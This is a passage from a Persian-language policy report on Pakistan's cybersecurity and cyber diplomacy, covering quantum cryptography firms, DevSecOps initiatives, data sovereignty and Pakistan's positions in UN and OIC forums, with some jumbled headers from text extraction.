بومـــی در رمزنـــگاری کوانتومـــی، تقویـــت فناوری‌هـــای ارتباطـــی امـــن، و تقویـــت همکاری‌هـــای 

افزایـــش  کوانتومـــی و  آینـــده  راهکارهـــای نســـل  صنعـــت- دانشـــگاه به‌منـــظور توســـعه 

ح  صـــادرات پاکســـتان را برعهـــده دارد. دراین‌راســـتا، ایـــن شـــرکت اهـــداف متعـــددی بـــه شر

زیـــر دنبـــال می‌کنـــد:

پیشبرد تحقیق‌وتوسعه و نوآوری کوانتومی: توسعه و تقویت ابتکارهای تحقیق‌وتوسعه 

کوانتومی با تمرکز بر رمزنگاری کوانتومی و همچنین انجام محاسبات و تحلیل‌ رمز کوانتومی 

به‌طوری که آینده با فناوری‌های ارتباطی امن شکل گیرد؛

1.  Quantum Communications Company
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   اول بخش     پاکستانیبریامنیت سا  .

تقویــت امنیــت ســایبری و صــادرات: رهبری بومی‌ســازی در رمزنــگاری کوانتومی ازطریق 

تقویــت امنیــت و به‌حداکثــر رســاندن ظرفیــت صادراتــی فناوری‌هــای کوانتومــی به‌منــظور 

حمایت از رشد اقتصادی کشور و افزایش درآمد ارزی؛ و

پیشـــگامی در راهکارهـــای مقـــاوم در برابـــر کوانتـــوم: ایجـــاد پیوندهـــای قوی بیـــن صنعـــت و 

دانشـــگاه بـــرای ســـاخت فناوری‌هـــای مقـــاوم در برابـــر کوانتـــوم شـــامل الگوریتم‌هـــای رمزنـــگاری 

‌هـــای ســـخت‌افزاری امـــن. پســـاکوانتومی، تولیدکننـــدگان عـــدد تصادفـــی کوانتومـــی، و راهکار

ح زیر ارائه می‌دهد: این شرکت خدمات متعددی در حوزه‌های مختلف به شر

محاسبات کوانتومی: تسریع محاسبات پیچیده با استفاده از اصول مکانیک کوانتومی 

که از مرزهای محاسبات قدیمی فراتر می‌رود؛

رمزنــگاری پســاکوانتومی: حفاظــت از داده‌هــا در برابــر حــملات کوانتومی با اســتفاده از 

رمزنگاری که برای مقاومت در برابر محاسبات کوانتومی طراحی شده‌است؛

ارتباطــات کوانتومــی: تــحول در انتقــال اطلاعات امن با اســتفاده از مکانیــک کوانتومی 

؛ برای تضمین حفظ حریم خصوصی و امنیت بیشتر

خدمات مشاوره کوانتومی: ارائه راهنمایی‌های کارشناسی برای استفاده از فناوری‌های 

؛ کوانتومی در تحول کسب‌وکار

تقویــت ظرفیــت کوانتومــی: آموزش و تجهیــز تیم‌هــا بــا مهارت‌هــا و ابزارهــای لازم بــرای 

نوآوری با فناوری‌های کوانتومی ]89[.

 � )DevSecOps( ادغام امنیت در فرآیند توسعه و عملیات نرم‌افزار

نرم‌افــزار  ادغــام امنیــت در فرآینــد توســعه و عملیــات  در پاکســتان رویکــرد نوآورانــه 

)DevSecOps( درحال‌رشــد اســت و ســازمان‌ها بــه اهمیــت ادغــام امنیــت در فرآیندهــای 

توســعه و عملیات نرم‎افزار توجه بیشــتری می‌کنند. این بازار بر خودکارسازی امنیت در هر 
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مرحله از چرخه عمر توســعه نرم‌افزار تمرکز دارد و امنیت و انطباق برنامه‌ها با اســتانداردها 

را بهبود می‌بخشد.

و  توســـعه  فرآینـــد  در  امنیـــت  ادغـــام  بـــازار  اصلـــی  چالش‌هـــای  از  یکـــی  بااین‌حـــال، 

ــام  ــای ادغـ ــی از مزایـ ــی و درک کافـ گاهـ ــتان عدم‌آ ــزار )DevSecOps( در پاکسـ ــات نرم‌افـ عملیـ

فرآیندهـــای توســـعه، امنیـــت و عملیـــات اســـت. کمبـــود متخصصـــان ماهـــر کـــه قـــادر 

بـــه پیاده‌ســـازی موثـــر ایـــن شیوه‌هـــا باشـــند، از دیگـــر مشـــکلات موجـــود در ایـــن بـــازار 

اســـت. ازایـــن‌رو، دولـــت پاکســـتان باتوجه‌بـــه اهمیـــت توســـعه نرم‌افـــزار ایمـــن، از پذیـــرش 

شیوه‌هـــای ادغـــام امنیـــت در فرآینـــد توســـعه و عملیـــات نرم‌افـــزار )DevSecOps( حمایـــت 

می‌کنـــد. سیاســـت‌های ایـــن کـــشور شـــامل ارائـــه مشوق‌هـــای مالیاتـــی بـــه شـــرکت‌هایی کـــه 

امنیـــت را در چرخـــه عمـــر توســـعه نرم‌افـــزار خـــود ادغـــام می‌کننـــد، تامین‌مالـــی برنامه‌هـــای 

، و ایجـــاد اســـتانداردهای ملـــی بـــرای کدنویســـی  آموزشـــی بـــرای پرورش نیروی کار ماهـــر

ایمـــن و یکپارچگـــی مســـتمر می‌شـــود ]90[.

ایمـــن،  دیجیتـــال  زیرســـاخت‌های  توســـعه  و  ســـایبری  امنیـــت  تقویـــت  درراســـتای 

پاکســـتان اقدامـــات متعـــددی در حوزه رویکـــرد نوآورانـــه ادغـــام امنیـــت در فرآینـــد توســـعه و 

ـــزاری  ـــامل برگ ـــات ش ـــن اقدام ـــی از ای ـــت. یک ـــام داده‌اس ـــزار )DevSecOps( انج ـــات نرم‌اف عملی

کارگاهـــی بـــا عنـــوان »از توســـعه و عملیـــات )DevOps( تـــا توســـعه، امنیـــت و عملیـــات 

 1»)CI/CD( ســـاخت پیکربندی‌هـــای ایمـــن ادغـــام مـــداوم و اســـتقرار مـــداوم :)DevSecOps(

اســـت کـــه در دســـامبر 2025 توســـط مرکـــز ملـــی فیزیـــک پاکســـتان )NCP(2 برگـــزار شده‌اســـت. 

ایـــن کارگاه بـــا هـــدف آموزش مهارت‌هـــای عملـــی در زمینـــه ادغـــام چک‌هـــای امنیتـــی، تقویـــت 

پیکربندی‌هـــای ادغـــام مـــداوم و اســـتقرار مـــداوم و اســـتفاده از رویکـــرد جابجـــایی امنیـــت بـــه 

1.  From DevOps (Development and Operations) to DevSecOps: Building Secure CI (Continuous 
Integration)/ CD (Continuous Delivery/ Deployment) Pipelines
2.  National Centre for Physics
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     4  بهب فنایریبه‎کارگبن در دیبه‎کارگیری فناوری‎های نو  .

   اول بخش     پاکستانیبریامنیت سا  .

( بـــرای شناســـایی و رفـــع آسیب‌پذیری‌هـــا در  چـــپ1 )مراحـــل اولیـــه چرخـــه توســـعه نرم‎افـــزار

مراحـــل ابتـــدایی فرآینـــد توســـعه نرم‌افـــزار طراحـــی شده‌اســـت.

در ایــن کارگاه، شــرکت‌کنندگان ازجمله دانشــجویان، کارمنــدان و متخصصان با مبانی 

توســعه و عملیــات )DevOps( و ادغــام مــداوم و اســتقرار مــداوم )CI/CD(، پیکربندی‌هــای 

ادغــام مــداوم و اســتقرار مــداوم )CI/CD Pipelines( و ادغــام امنیتی و همچنیــن کاربردهای 

عملی توســعه، امنیت و عملیات )DevSecOps( آشــنا خواهندشــد. ایــن کارگاه گامی مهم 

درجهت تقویت امنیت ســایبری پاکســتان و افزایش توانمندی‌های متخصصین در زمینه 

امنیت نرم‌افزار و پیاده‌ســازی فرآیندهای ایمن در سیســتم‌های دیجیتال اســت و بر توجه 

پاکستان به توسعه فناوری‌های امنیتی نوین دلالت دارد ]91[.

1.  Shift-Left Approach
جابجــایی امنیــت بــه چــپ بــه ایــن معناســت کــه اقدامــات امنیتــی بایــد از همــان لحظــه‌ای آغــاز شــوند کــه طراحــی و 

کدنویســی شروع می‌شــود، نــه زمانــی کــه محــصول آمــاده‌ انتشــار اســت.





بخش دوم

دیپلماسی سایبری پاکستان
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  امنیت سایبری و دیپلماسی سایبری پاکستان  

دیپلماســی ســایبری به‌عنــوان یکــی از حوزه‌های نوظــهور روابط بین‌الملــل بازتاب‌دهنده 

منافــع ملــی کشورهــا در فضــای مجــازی اســت. ایــن مفهــوم معمــولا در قالــب سیاســت‌های 

ابــزاری بــرای تحقــق منافــع راهبــردی کشورهــا  ملــی امنیــت ســایبری تعریــف می‌شــود و 

به‌شــمار می‌آیــد. دیپلماســی ســایبری اهــداف متنوعــی را دنبــال می‌کنــد کــه ازجملــه آن‌هــا 

می‌تــوان بــه ایجــاد ارتبــاط و تعامــل میــان دولت‌هــا و بازیگــران غیردولتــی، جلــوگیری از رقابت 

علاوه‌برایــن،  کــرد.  اشــاره  جهانــی  اســتانداردهای  بــه  شــکل‌دهی  و  ســایبری  تســلیحاتی 

دیپلماســی ســایبری باعــث تغییــر در شیــوه انجــام وظایــف دیپلمات‌هــا و بازســازی ســاختار 

بــا فناوری‌هــای نویــن  را  تــا بتواننــد خــود  نهادهــا و وزارتخانه‌هــای امور خارجــه می‌شــود 

به‌ویــژه در حوزه امنیــت ســایبری تطبیــق دهنــد. در عصــر اینترنــت و شــبکه‌های اجتماعــی، 

کــه تحت‌عنــوان  نوینــی داده‌انــد  بــه شــکل  را  روش‌هــای ســنتی دیپلماســی جــای خــود 

از  جلــوگیری  تهدیدهــا،  بــا  مقابلــه  به‌طورکلــی،  می‌شــوند.  شــناخته  ســایبری  دیپلماســی 

حــملات تروریســتی‌ و ارتقــای پیشــرفت جهانــی هــدف از ایــن دیپلماســی نویــن در نظــر 

مقدمه

1
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     1  مهدمق  .

   دوم بخش    کستانابری پیسی ساادیپلم  .

گرفتــه می‌شــود. دیپلماســی ســایبری بــه توســعه پایــدار در دوران دیجیتــال کمــک کــرده 

و بــر اصولــی همــچون ایجــاد اعتمــاد متقابــل، امنیــت ســایبری و حــقوق بشردوســتانه 

بین‌المللــی تاکیــد دارد ]56[. دیپلماســی ســایبری بــا تقویت مشــارکت‌های فــرامرزی، تدوین 

پروتکل‌هــای مشــترک و ترویــج هنجارهــای بین‌المللــی نقشــی کلیــدی در کاهــش خطــرات 

حــملات ســایبری و پیامدهــای گســترده آن ایفــا می‌کنــد ]57[.
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  امنیت سایبری و دیپلماسی سایبری پاکستان  

، پاکستان در مجامع بین‌المللی مختلف مواضع خود درباره حاکمیت  در سال‌های اخیر

داده، تنظیــم‌گری و حکمرانــی جهانــی اینترنــت و هنجارهــای ســایبری را بیــان کرده‌اســت. 

رویکرد این کشور با تاکید قوی بر حاکمیت دولت‌ها، حمایت از حکمرانی چندجانبه )اغلب 

زیر نظر ســازمان ملل متحد( و بدبینی نســبت به چارچوب‌هایی که تحت‌سلطه کشورهای 

غربی تلقــی می‌شــوند، شــناخته می‌شــود. درادامــه، موضــع پاکســتان در هریک از مســائل 

ح داده می‌شود. کلیدی همراه با ذکر نمونه‌هایی شر

حاکمیت داده� 

راهبرد امنیت سایبری پاکستان بازتاب‌دهنده رویکردی دوگانه و تلاش این کشور برای 

ایجاد توازن میان حفظ حاکمیت ملی و تعهد به حقوق و هنجارهای بین‌المللی است ]41[. 

پاکســتان همواره از این اصل دفاع کرده‌اســت که دولت‌ها باید کنترل حاکمیتی بر داده‌ها 

و زیرســاخت‌های دیجیتــال داخــل قلمرو خــود داشته‌باشــند. این موضع هــم در اظهارات 

بین‌المللی و هم در سیاست‌های داخلی این کشور مشهود است ]۹۲[.

رویکرد پاکستان در حوزه دیپلماسی سایبری

2
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     2  سایبری پاکستان در حوزه دیپلماسی رویکرد  .

   دوم بخش    کستانابری پیسی ساادیپلم  .

یرســاخت‌های فنــاوری اطلاعــات و ارتباطات: پاکســتان اســتدلال می‌کند  حاکمیــت بــر ز

کــه حاکمیت سرزمینــی و صلاحیت ملی دولت‌ها به همه زیرســاخت‌های فناوری اطلاعات 

و ارتباطــات و داده‌هــا در داخــل مرزهــای آن‌ها تــسری می‌یابد. این کشور در پاســخ مکتوب 

رســمی خود به قطعنامه 78/237 مجمع عمومی ســازمان ملل در ســال ۲۰۲۳ صراحتا اعلام 

کــرد کــه حاکمیــت دولت در قلــمرو خود و صلاحیــت ملی دولت‌هــا باید بر زیرســاخت‌های 

فناوری اطلاعات و ارتباطات مستقر در قلمرو آن دولت اعمال شود ]92[.

تصویــب  ســمت  بــه  پاکســتان   ، کــشور داخــل  در  داده:  بومی‌ســازی  سیاســت‌های 

قوانینــی حرکــت کــرده کــه بــا ایــن دیــدگاه حاکمیــت دیجیتــال همســو هســتند. به‌عنــوان 

مثــال، پیش‌نویــس لایحه حفاظــت از داده‌های شــخصی )PDPB(1 در ســال ۲۰۲۳ چارچوبی 

ســخت‌گیرانه و محدودکننــده بــرای انتقــال فــرامرزی داده‌هــا پیشــنهاد می‌کنــد و الزامــات 

قابل‌توجهــی بــرای بومی‌ســازی داده‌هــا در نظــر می‌گیــرد. ایــن قــانون داده‌هــای شــخصی را 

بــه ســه ســطح تقسیــم می‌کنــد: داده‌هــای شــخصی عــادی، داده‌های شــخصی حســاس و 

داده‌هــای شــخصی حیاتــی. هرچــه ســطح داده بالاتــر مــی‌رود، محدودیت‌هــای انتقــال آن 

نیــز ســخت‌گیرانه‌تر می‌شــود. براســاس این قــانون، داده‌های شــخصی حیاتی بایــد به‌طور 

انحصــاری روی سرورهــای مســتقر در داخــل پاکســتان پــردازش شــوند. در مورد داده‌هــای 

شخصی حساس نیز حفظ و نگهداری برخی اجزای داده در داخل کشور الزامی است. البته 

جزئیــات این الزامات قرار اســت ازطریق ســازوکارهایی که توســط کمیــسیون ملی حفاظت 

از داده‌های شــخصی2 تعیین می‌شــود، مشــخص گردد. این اقدامات نشــان‌دهنده تلاش 

پاکســتان بــرای نگه‌داشــتن داده‌های حســاس شــهروندان تحت‌صلاحیت ملــی به‌منظور 

حفظ امنیت و حریم خصوصی آن‌ها است ]93[.

1.  Personal Data Protection Bill
2.  National Commission for Personal Data Protection
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  امنیت سایبری و دیپلماسی سایبری پاکستان  

در  داده‌هــا  بــر  خارجــی  نظــارت  برابــر  در  پاکســتان  احتیــاط  خارجــی:  نظــارت  از  نگرانــی 

ــه برخــی توافق‌هــا مشــهود اســت. به‌طورمشــخص، پاکســتان  عدم‌پیوســتن ایــن کــشور ب

بــه کنوانــسیون بوداپســت علیــه جرایــم ســایبری نپیوســته و دلیــل آن را نگرانــی از اعمــال 

نظــارت خارجــی و نقــض حاکمیــت داده‌هــا دانسته‌اســت؛ اســتدلالی کــه وزارت امور خارجــه 

ــل،  ــرد. درمقاب ــد ک ــر آن تاکی ــز ب ــال ۲۰۲۰ نی ــی لاهور در س ــه دادگاه عال ــک جلس ــتان در ی پاکس

پاکســتان در کنــار کشورهــایی ماننــد چیــن، روسیــه، انــدونزی و ســنگاپور قــرار می‌گیــرد کــه 

چارچوب‌هــای حقوقــی کــه ممکــن اســت زیرســاخت دیجیتــال کــشور را در معــرض نظــارت 

ــد ]41[. ــد، رد می‌کنن ــرار دهن ــی ق خارج

کــه  کرده‌اســت  تاکیــد  پاکســتان در مباحــث بین‌المللــی  خصوصــی:  بخــش  تعهــدات 

شــرکت‌های بزرگ فنــاوری و ســایر نهادهــای خصوصــی بایــد بــه قوانیــن داخلــی در خصــوص 

داده‌هــا احتــرام بگذارنــد. در ســند موضــع پاکســتان در زمینــه بــه‌کارگیری قوانیــن بین‌المللــی 

در فضــای ســایبری )۲۰۲۳(1، ایــن کــشور خواســتار آن شــد کــه شــرکت‌های خصوصــی دارای 

فعالیــت فراملــی، قوانیــن و مــقررات داخلــی دربــاره امنیــت داده و اقامــت داده را رعایــت 

کننــد و از انتقــال داده‌هــای حیاتــی شــهروندان بــه ســایر کشورهــا بــدون اخــذ مــجوز قبلــی 

حوزه  در  بین‌المللــی  خصوصــی  شــرکت‌های  از  همچنیــن  پاکســتان  نماینــد.  خــودداری 

فنــاوری اطلاعــات و ارتباطــات می‌خواهــد در مقابلــه بــا جرایــم و حــملات ســایبری بــا نهادهــای 

مــجری قــانون همــکاری کننــد ]94[.

تنظیم‌گری و حکمرانی جهانی اینترنت� 

پاکستان در زمینه تنظیم‌گری و حکمرانی جهانی اینترنت اغلب با پکن و مسکو همسو 

است؛ مفهومی که بر حق هر دولت برای تنظیم‌گری اینترنت خود تاکید دارد. این همسویی 

1.  Pakistan’s Position on the Application of International Law in Cyberspace (2023)
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به‌ویژه در موضع پاکستان درباره تنظیم‌گری جهانی جرایم سایبری آشکار است. این کشور 

از حامیــان کنوانــسیون جدید ســازمان ملــل درباره جرایم ســایبری1 )که به ابتــکار روسیه و 

ح شــد( اســت و درمقابل، نســبت بــه ابتکارهای غرب‌مــحور محتاط و  بــا حمایت چین مطر

بی‌میل باقی مانده‌است. تحلیلی در سال ۲۰۲۵ نشان می‌دهد که پاکستان نیز مشابه چین 

و روسیه نسبت به ابتکارهای رهبری‌شده از سوی غرب در حوزه حکمرانی دیجیتال جهانی 

بدبین است. این امر در خودداری این کشور از پیوستن به کنوانسیون بوداپست به‌دلیل 

نگرانــی از نفــوذ خارجــی در قلمرو ســایبری‌ خود نیــز نمود یافته‌اســت. درمقابل، پاکســتان 

بــه کارگروه آزاد ســازمان ملــل )OEWG(2 و گروه کارشناســان دولتــی )GGE(3 پیوسته‌اســت 

کــه همــکاری داوطلبانــه میــان دولت‌هــا را ترویــج می‌کننــد و اصول حاکمیــت دولت‌هــا، 

عدم‌مداخله، حل‌ مســالمت‌آمیز اختلافات و عدم‌توســل به زور را به‌رسمیت می‌شناسند. 

ایــن رویکــرد نشــان‌دهنده مقاومــت گســترده‌تر پاکســتان در برابــر الگوهــای حکمرانــی 

اینترنتی تحت‌ســلطه دولت‌ها یا شــرکت‌های غربی و همچنین بیانگر تمایل این کشور به 

چارچوب‌هایی است که نقش دولت‌ها را در حکمرانی اینترنت تقویت و استقلال ملی را حفظ 

کنند. چنین سیاستی پیامدهای اقتصادی دارد، زیرا سرمایه‌گذاران خارجی و شرکای تجاری 

غربی معمــولا چارچوب‌هــای شــفاف و پیش‌بینی‌پذیر را ترجیح می‌دهنــد و هرگونه مقررات 

ســخت‌گیرانه می‌تواند دسترســی پاکســتان بــه بازارهای جهانــی را محدود ســازد ]۸۷ و ۴۱[.

هنجار‌ها و امنیت در فضای سایبری� 

پاکســتان در جلســات کارگروه آزاد ســازمان ملل )2025-2021( همواره مشــارکت داشــته‌ و 

تاکیــد کرده‌اســت کــه اصول منــشور ســازمان ملــل متحــد4 ماننــد حاکمیــت، تمامیــت ارضــی 

1.  UN Cybercrime Convention
2.  United Nations Open- Ended Working Group
3.  United Nations Group of Governmental Experts
4.  UN Charter
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و عدم‌مداخلــه در امور داخلــی کشورهــا بایــد اصول راهنمــای حاکمیــت فضــای ســایبری 

باشــند ]95[.

پاکســتان از هنجارهای داوطلبانه رفتار مســئولانه کشورها حمایت می‌کند، اما معتقد 

اســت که هنجارهای غیرالزام‌آور نمی‌توانند جایگزین یک ســند حقوقی الزام‌آور شوند. این 

کشور در جلســه کاگروه در ســال 2023 از تدوین یک ســند حقوقی الزام‌آور برای تنظیم رفتار 

کشورهــا و بازیگــران غیردولتــی در زمینــه فناوری‌هــای اطلاعــات و ارتباطــات و جلــوگیری از 

حملات سایبری علیه زیرساخت‌های حیاتی حمایت کرد ]96[.

یکــی دیگــر از ویژگی‌هــای دیپلماســی ســایبری پاکســتان، مخالفــت آن با نظامی‌ســازی 

اینترنت اســت. این کشور اغلب از مفهوم فضای ســایبری به‌عنوان میراث مشــترک بشــر 

یــاد می‌کنــد که نبایــد به عرصــه‌ای بــرای درگیری تبدیل شــود. درواقع، این کشور خواســتار 

ممنوعیت کامل توسعه سلاح‌های سایبری تهاجمی است ]100[.

حــقوق  و  ملــل  ســازمان  منــشور  ازجملــه  بین‌الملــل  حــقوق  اعمــال  از  پاکســتان 

بشردوســتانه بین‌المللــی )IHL(1 در فضــای ســایبری حمایــت می‌کنــد، امــا بــر ایــن نکتــه هــم 

تاکیــد دارد کــه لازم اســت چگونگــی اعمــال ایــن قوانیــن روشــن شــود. پاکســتان در جلســه 

کارگروه در ســال 2023 تاکیــد کــرد کــه اصول منــشور ســازمان ملــل بایــد در فضــای ســایبری 

نیــز ماننــد دنیــای فیزیکــی اعمــال شــود. ایــن کــشور همچنیــن تاکیــد می‌کنــد کــه ویژگی‌هــای 

حــقوق  چارچــوب  در  شــکاف‌هایی  اینترنــت  فــرامرزی  ماهیــت  و  ســایبری  فضــای  خــاص 

بین‌الملــل ایجــاد می‌کنــد کــه اجــرای منــشور ســازمان ملــل در فضــای ســایبری را دشــوار 

می‌ســازد. بنابراین، پاکســتان پیشــنهاد می‌کند که این شــکاف‌ها باید در کارگروه آزاد به‌طور 

بی‌طرفانــه و عینــی موردبحــث قــرار گیرنــد تــا درک مشــترکی بیــن کشورهــا در خصــوص نحــوه 

1.  International Humanitarian Law
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   دوم بخش    کستانابری پیسی ساادیپلم  .

اعمــال حــقوق بین‌الملــل در اســتفاده از فناوری‌هــای اطلاعــات و ارتباطــات- از جملــه تدویــن 

ــزام‌آور- ایجــاد شــود ]96[. یــک ســند حقوقــی ال

کاربــرد  آزاد ســازمان ملــل در زمینــه امنیــت و  کارگروه  2. 1.  نقــش پاکســتان در 

فناوری‌های اطلاعات و ارتباطات در چارچوب امنیت بین‌المللی

مواضع رسمی پاکستان در چارچوب کارگروه آزاد سازمان ملل در زمینه امنیت و کاربرد 

فناوری‌های اطلاعات و ارتباطات در چارچوب امنیت بین‌المللی1 در چند محور اصلی بررسی 

می‌شود که درمجموع، نقش این کشور را در این کارگروه تعریف می‌کند.

محور اصلی نقش پاکستان در این کارگروه آزاد، اصرار مداوم بر تدوین یک سند حقوقی 

الزام‌آور برای تنظیم رفتار کشورها و بازیگران غیردولتی در اســتفاده از فناوری‌های اطلاعات 

و ارتباطــات اســت که از نظر این کــشور چنین ابزاری برای ایجاد فضای ســایبری امن، پایدار 

، از  و ایمــن ضروری اســت. پاکســتان در عین پذیــرش اهمیت اصول داوطلبانه غیرالــزام‌آور

جمله توسعه اصول جدید، به‌صراحت تاکید می‌کند که این اصول نمی‌توانند جایگزین یک 

سند حقوقی الزام‌آور شوند و صلح و امنیت بین‌المللی در فضای سایبری درنهایت نیازمند 

چنین چارچوب حقوقی است. بنابراین می‌توان گفت که پاکستان مدافع قانون‌مند شدن 

فضای سایبری در چارچوب سازمان ملل است ]96[.

پاکستان معتقد است که حقوق بین‌المللی بشردوستانه )IHL( باید در حوزه فناوری‌های 

اطلاعات و ارتباطات اعمال شــوند، اما این کشور بر این نکته هم تاکید دارد که لازم اســت 

چگونگی اعمال این قوانین روشن شود، زیرا کشورهای عضو دیدگاه‌های متضادی در این 

زمینه دارند ]97[. از دیدگاه این کشور مهم‌ترین وظیفه کارگروه آزاد ایجاد اجماع در تعریف 

چگونگی اعمال حقوق بین‌الملل )ازجمله حقوق بین‌المللی بشردوستانه( در استفاده از 

1.  UN Open-ended Working Group on Security and Use of ICTs in the Context of International 
Security
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فناوری‌های اطلاعات و ارتباطات و فضای ســایبری اســت ]96[. پاکســتان همچنین بر این 

بــاور اســت که به‌دلیل پیوســتگی اینترنــت و زیرســاخت‌های مرتبط بــا آن، چارچوب کنونی 

حقوق بین‌المللی بشردوستانه برای پاسخ‌گویی به ویژگی‌های پیچیده و خاص جنگ‌های 

نوین کافی نیست و نیازمند بازنگری و تطبیق است ]۹۸ و ۹۷[.

پاکســتان در بخــش هنجارهــا و قواعد رفتــاری کشورها نیــز پیشــنهادات مختلفی ارائه 

می‌کنــد. ایــن کــشور از ممنوعیــت آن دســته از فعالیت‌هــای فنــاوری اطلاعــات و ارتباطات 

کــه عمدا بــه زیرســاخت‌های حیاتی ارائه‌دهنــده خدمات عمومــی آسیب می‌زننــد، حمایت 

می‌کند. این کشور پیشنهاد می‌کند بند جدیدی درباره‌ امنیت داده با تاکید بر رشد سرقت 

داده، سوءاستفاده از داده‌های شخصی و ضرورت تضمین تبادل امن و مطمئن داده‌های 

فــرامرزی بــه دومیــن گــزارش پیشــرفت ســالانه کارگروه افزوده شــود. پاکســتان همچنیــن 

تاکیــد می‌کنــد که گفتگوها درباره امنیــت داده باید چندذینفعی باشــند و دولت‌ها، بخش 

خصوصی، دانشگاه و جامعه مدنی را دربرگیرند.

در سطح حقوقی باید یادآور شد که ازیک‌سو، پاکستان اصول منشور ملل متحد )مانند 

، برابری حاکمیتی، عدم‌مداخله، حل مسالمت‌آمیز اختلافات( را در فضای  عدم‌توسل به زور

، ایــن کشور تاکید می‌کند کــه ویژگی‌های خاص  ســایبری قابل‌اعمــال می‌دانــد. ازسوی‌دیگر

فضــای ســایبری و ماهیــت فــرامرزی اینترنــت شــکاف‌هایی در چارچوب حــقوق بین‌الملل 

ایجاد می‌کند که اجرای منشور سازمان ملل در فضای سایبری را دشوار می‌سازد. بنابراین، 

پاکســتان پیشــنهاد می‌کند که این شــکاف‌ها باید در کارگروه آزاد به‌طور بی‌طرفانه و عینی 

موردبحــث قــرار گیرنــد تــا درک مشــترکی بیــن کشورهــا در خصــوص نحــوه اعمــال حــقوق 

بین‌الملل در استفاده از فناوری‌های اطلاعات و ارتباطات- ازجمله تدوین یک سند حقوقی 

الزام‌آور- ایجاد شود ]96[.
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   دوم بخش    کستانابری پیسی ساادیپلم  .

پاکســتان همچنیــن بــر مســئله‌ انتســاب مســئولیت حــملات ســایبری1 تاکید ویــژه‌ای 

دارد، چراکــه عواملــی ماننــد ناشــناس بــودن و ماهیــت فــرامرزی اینترنــت و درگیری هــر دو 

بازیگران دولتی و غیردولتی باعث شــده‌اند مســئله انتســاب مســئولیت حملات ســایبری 

و فعالیت‌هــای مخــرب چالش‌برانگیز شــوند و این موضوع یکــی از موانع پیش‌روی فضای 

ســایبری امــن، پایــدار و مســالمت‌آمیز محســوب می‌شــود ]۹۸ و ۹۶[. ازایــن‌رو، پاکســتان 

هشــدار می‌دهد کــه بدون حل این موضوع نمی‌توان مســئولیت دولت‌هــا را به‌طور دقیق 

تعیین کرد و اصل ارزیابی موشکافانه2 را جدی اجرا کرد و درنتیجه، تلاش برای اعمال حقوق 

بین‌الملل در فضای سایبری عملا خنثی می‌شود ]۹۶[.

در همیــن چارچــوب، پاکســتان در بحــث اقدامــات اعتمادســاز )CBMs(3 بــر اهمیــت 

ایــن نوع اقدامــات در جهــت ایجــاد اعتمــاد، همــکاری، شــفافیت و پیش‌بینی‌پــذیری میــان 

کشورهــای عضــو و جلــوگیری از ســوء تفاهــم و تشــدید تنــش در حــوادث مرتبــط بــا فنــاوری 

 4)PoCs( نقاط‌تمــاس  جهانــی  فهرســت  ایجــاد  از  و  می‌کنــد  تاکیــد  ارتباطــات  و  اطلاعــات 

به‌منــظور مدیریــت بحران‌هــای ســایبری و افزایــش تعامــل و همکاری بین کشورها اســتقبال 

می‌کنــد ]96[. ایــن نقاط‌تمــاس می‌تواننــد تحت‌نظــارت دفتــر امور خلــع سلاح ســازمان ملــل 

)UNODA(5 تاسیــس شــوند، جایی‌کــه کشورهــا بتواننــد اطلاعــات مربوط‌بــه یــک حادثــه را 

جســتجو کــرده و در گفــت‌وگوی ســایبری مشــارکت کننــد ]97[. بااین‌حــال، پاکســتان دو خــط 

قرمــز جــدی در ایــن زمینــه در نظــر دارد: یکــی این‌که ایــن نقاط‌تماس باید داوطلبانــه، بی‌طرف 

و مطابــق اصول حاکمیــت و عدم‌مداخلــه باشــند و دیگــر این‌کــه اســتفاده از نقاط‌تمــاس 

1.  Cyber Attribution
انتســاب حملــه ســایبری بــه فرآینــد شناســایی و نســبت دادن یــک حملــه یــا اقــدام ســایبری بــه یــک عامــل خــاص یــا گروه 

خــاص اطلاق می‌شــود.
2.  Due Diligence
3.  Confidence-Building Measures
4. Global Directory of Points of Contact
5.  United Nations Office for Disarmament Affairs
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کشورهــا نبایــد به‌معنــای انتســاب خــودکار مســئولیت بــه کــشور میزبــان باشــد و نبایــد بــه 

ابــزاری بــرای انتســاب سیاســی یــا فنــی حــوادث مرتبــط بــا فنــاوری اطلاعــات و ارتباطــات تبدیــل 

شــود ]96[. افزون‌بــر ایــن مــوارد، پاکســتان فهرســت اولیــه اقدامــات اعتمادســاز داوطلبانــه1 را 

نیــز به‌رســمیت می‌شناســد ]97[.

بخش مهم دیگری از نقش پاکســتان در کارگروه آزاد، تمرکز بر ظرفیت‌ســازی و شــکاف 

دیجیتال اســت. پاکســتان بر این باور است که ظرفیت‌ســازی نقش حیاتی در پاسخگویی 

موثــر بــه تهدیدهــای ســایبری کنونــی و احتمالــی دارد. ایــن کــشور اذعــان دارد کــه نیــاز بــه 

ظرفیت‌سازی به‌دلیل شکاف وسیع از نظر ظرفیت‌ها و مهارت‌ها میان کشورهای مختلف 

بــرای مقابلــه بــا تهدیدهای ناشــی‌از فضــای ســایبری از اهمیــت روزافزونی برخوردار اســت. 

براین‌اساس، این کشور از انجام بررسی‌های لازم برای شناسایی شکاف‌های ظرفیت‌سازی 

میــان کشورهــا حمایــت می‌کند و معتقد اســت که در حیــن انجام چنین بررســی‌هایی، نیاز 

بــه شناســایی موانــع موجــود در زمینــه دسترســی عادلانــه، منصفانــه و بی‌قیدوشــرط بــه 

فرصت‌های ظرفیت‌ســازی نیز وجود دارد تا دسترسی کشورها به برنامه‌های ظرفیت‌سازی 

تســهیل گردد. پاکســتان همواره بــر این نکته تاکیــد می‌کند که ظرفیت‌ســازی باید پایدار و 

‌هــا( و به‌لحاظ  نیازمــحور )مطابــق بــا نیازهــا و اولویت‌هــای تعریف‌شــده توســط خــود کشور

سیاسی بی‌طرفانه، شفاف، پاسخ‌گو و بدون قیدوشرط باشد ]96[.

2. 2.  نقش پاکستان در سازمان همکاری اسلامی

کشور پاکســتان به‌عنوان یکی از اعضای ســازمان همکاری اسلامی )OIC(2 میزبان برخی 

کارگاه‌های بین‌المللی این سازمان بوده و پیشنهادهای متعددی به‌منظور تقویت امنیت 

ح کرده‌اســت. کارگاه بین‌المللی بــا عنوان  ســایبری در کشورهــای عضــو ایــن ســازمان مــطر

1.  Initial List of Voluntary CBMs
2.  Organisation of Islamic Cooperation
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   دوم بخش    کستانابری پیسی ساادیپلم  .

»وضعیت امنیت ســایبری در کشورهای عضو ســازمان همکاری اسلامی )OIC(: مســائل و 

‌ها«1 در تاریــخ ۱۷ دســامبر ۲۰۲۴ در دبیرخانه کمیته دائمــی همکاری‌های علمی و  چشــم‌انداز

